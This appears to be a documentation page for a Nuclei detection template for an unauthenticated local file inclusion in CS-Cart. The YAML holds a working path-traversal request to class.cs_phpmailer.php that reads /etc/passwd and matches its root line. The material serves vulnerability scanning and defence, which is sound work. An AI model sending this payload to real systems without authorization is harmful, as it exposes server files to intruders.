CS-Cart - Local File Inclusion
ID: cs-cart-unauthenticated-lfi
Severity: high
Author: 0x_Akoko
Tags: cscart,lfi
Description
Section titled “Description”CS-Cart is vulnerable to local file inclusion because it allows remote unauthenticated attackers to access locally stored files and reveal their content.
YAML Source
Section titled “YAML Source”id: cs-cart-unauthenticated-lfi
info: name: CS-Cart - Local File Inclusion author: 0x_Akoko severity: high description: CS-Cart is vulnerable to local file inclusion because it allows remote unauthenticated attackers to access locally stored files and reveal their content. reference: - https://cxsecurity.com/issue/WLB-2020100100 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cwe-id: CWE-22 metadata: max-request: 1 tags: cscart,lfi
http: - method: GET path: - "{{BaseURL}}/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00"
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4a0a00473045022012cf7dccc7ca0793c5531555ecff5b2a68c117aa326c16ce5164944dabeb38bc022100cad0aa2491274ab44100daa8710c6dce04165cfa42fa08136ae76e8240826bbe:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/cs-cart-unauthenticated-lfi.yaml"